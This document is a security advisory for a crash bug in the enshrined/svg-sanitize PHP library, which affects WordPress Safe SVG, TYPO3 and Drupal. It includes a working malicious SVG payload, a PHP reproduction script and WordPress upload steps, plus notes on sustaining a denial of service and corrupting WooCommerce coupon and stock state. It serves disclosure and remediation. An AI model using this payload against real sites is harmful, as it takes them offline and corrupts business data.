GHSA-v383-3rw5-q8rf: Medium severity composer/enshrined/svg-sanitize vulnerability
Summary
A crafted SVG file (1009 bytes) crashes the PHP process when sanitized by enshrined/svg-sanitize (any version through 0.22.x). The sanitizer's cleanAttributesOnWhitelist() method calls DOMElement::removeAttribute() twice on the same attribute name — first removing the explicit attribute, then attempting to remove the DTD #FIXED default — triggering a PHP ext/dom type confusion that kills the PHP-FPM worker.
Affected installations: - enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents - WordPress Safe SVG plugin: 1M+ active installs - TYPO3: svg-sanitize integrated into core since v9 - Drupal: community module wrapping svg-sanitize
Vulnerability Details
Trigger Flow
Sanitizer::sanitize($malicioussvg) → DOMDocument::loadXML() — parses DTD, creates XMLATTRIBUTEDECL for #FIXED attr → startClean() → cleanAttributesOnWhitelist($svgElement) → "badhref" NOT in allowedAttrs → removeAttribute("badhref") ← removes explicit attribute (safe) → stripos("badhref", "href") = TRUE → getAttribute("badhref") ← returns DTD #FIXED default value → isHrefSafeValue("javascript:x") ← returns FALSE → removeAttribute("badhref") ← hits XMLATTRIBUTEDECL → CRASH
Root cause in svg-sanitize: The sanitizer does not strip DOCTYPE/DTD declarations before processing. The cleanAttributesOnWhitelist() method at Sanitizer.php:303-330 has a double-removal pattern where the whitelist check and the href safety check can both call removeAttribute() on the same attribute name. When a DTD #FIXED default exists, the second call targets the DTD declaration node, triggering a PHP crash.
Second trigger path in cleanHrefAttributes() (Sanitizer.php:354): case-normalization of HrEf → href calls removeAttribute() then setAttribute() on the DTD default.
WordPress Code Path
User uploads SVG → WordPress wphandleupload() → filter 'wphandleuploadprefilter' → SafeSvg\safesvg::checkforsvg() [safe-svg.php:176] → SafeSvg\safesvg::sanitize($tmpfile) [safe-svg.php:218] → enshrined\Sanitizer::sanitize($contents) [Sanitizer.php:193] → cleanAttributesOnWhitelist() → double removeAttribute → CRASH → PHP-FPM worker killed (SIGABRT) → nginx returns HTTP 502
Proof of Concept
Malicious SVG (evil.svg)
xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ATTLIST svg badhref CDATA #FIXED "javascript:alert(1)"> ]> <svg xmlns="http://www.w3.org/2000/svg" badhref="javascript:alert(1)" viewBox="0 0 100 100"> <rect width="100" height="100" fill="red"/> </svg>
Standalone reproduction
php <?php requireonce 'vendor/autoload.php';
$svg = filegetcontents('evil.svg'); $sanitizer = new \enshrined\svgSanitize\Sanitizer(); $clean = $sanitizer->sanitize($svg); echo "Sanitized: " . strlen($clean) . " bytes\n"; // Process crashes at exit: munmapchunk(): invalid pointer, exit code 134
WordPress reproduction
1. WordPress (any version) + Safe SVG plugin (any version through 2.4.0) 2. Login as Author → Media → Add New → upload evil.svg 3. Result: HTTP 502 Bad Gateway, PHP-FPM worker killed
Confirmed output
$ docker exec wordpress php /tmp/test.php Sanitized: 157 bytes munmapchunk(): invalid pointer $ echo $? 134
PHP-FPM log: [WARNING] [pool www] child 17 exited on signal 6 (SIGABRT)
Impact
Full Site Denial of Service
With pm.maxchildren = N: N concurrent SVG uploads = all PHP-FPM workers dead = complete outage. Workers respawn, but each malicious request kills one. Automated loop sustains permanent DoS.
Application State Corruption
SIGABRT bypasses registershutdownfunction(). On WordPress + WooCommerce: - Coupon bypass: usagecount increment skipped → unlimited reuse of single-use coupons - Stock oversell: stock reduction not committed → multiple orders for 1-stock items - Cron starvation: wpcron blocked → scheduled cleanup (unpaid order cancellation) never runs → stock held indefinitely
Attack surface
Safe SVG hooks wphandleuploadprefilter (safe-svg.php line 152). The hook fires when code calls wphandleupload() or wphandlesideload().
Note: Popular form plugins (Contact Form 7, WPForms) use moveuploadedfile() directly, bypassing WordPress's upload pipeline. They do NOT trigger Safe SVG. Only code that explicitly calls wphandleupload() is affected.
| Scenario | Authentication | Affected installs | |---|---|---| | WordPress (default Safe SVG) — Media upload | Author role (uploadfiles cap) | 1M+ | | WordPress — REST API POST /wp/v2/media | Author role | 1M+ | | WordPress — plugins using wphandleupload() for public uploads | Varies by plugin | Plugin-dependent | | Custom PHP app with svg-sanitize on public endpoint | Often none | 45M+ downloads | | TYPO3 (svg-sanitize in core since v9) | Backend editor | All TYPO3 v9+ |
The strongest pre-auth scenario is custom PHP applications using svg-sanitize directly on public upload endpoints — a common pattern given 45M+ Packagist downloads and 90+ dependent packages.
CVSS
CVSS 3.1: 6.5 (Medium) — default WordPress (Author role)
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
For custom apps with unauthenticated svg-sanitize endpoints: CVSS 7.5 (High) (PR:N)
Suggested Fix
Strip DOCTYPE before parsing — eliminates the trigger regardless of PHP version:
php // In Sanitizer::sanitize(), before loadXML(): $dirty = pregreplace('/<!DOCTYPE[^>](?:\[.?\])?\s>/si', '', $dirty);
Environment
- enshrined/svg-sanitize 0.22.x (bundled with Safe SVG 2.4.0) - WordPress 6.9.4 + Safe SVG 2.4.0 - PHP 8.3.24 (fpm), NTS, x8664 - nginx + PHP-FPM (Docker)
Reported by ExPatch Security Research — expatch.llc Denis Rostilov
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/enshrined/svg-sanitizeto a version that resolves this vulnerability.Fixed in 1.0.0 - Compensating control
Strip DOCTYPE/DTD declarations from SVG input before passing it to DOMDocument::loadXML() or Sanitizer::sanitize(); this eliminates the trigger regardless of PHP version.
Event History
Frequently Asked Questions
Which deployments are exposed?
Deployments that sanitize attacker-controlled SVG files with enshrined/svg-sanitize through version 0.22.x are affected. This includes known integrations such as the WordPress Safe SVG plugin, TYPO3 installations using the core integration, and Drupal deployments using a module that wraps the library.
What must an attacker provide to trigger the issue?
The attacker needs to cause a crafted SVG file to be passed to Sanitizer::sanitize(). The supplied SVG uses a DTD #FIXED attribute default that causes the sanitizer to attempt to remove the same attribute twice.
How would exploitation appear operationally?
Processing the malicious SVG kills the PHP process, including a PHP-FPM worker where PHP-FPM is used. The stated impact is denial of service; the supplied data does not indicate confidentiality or integrity impact.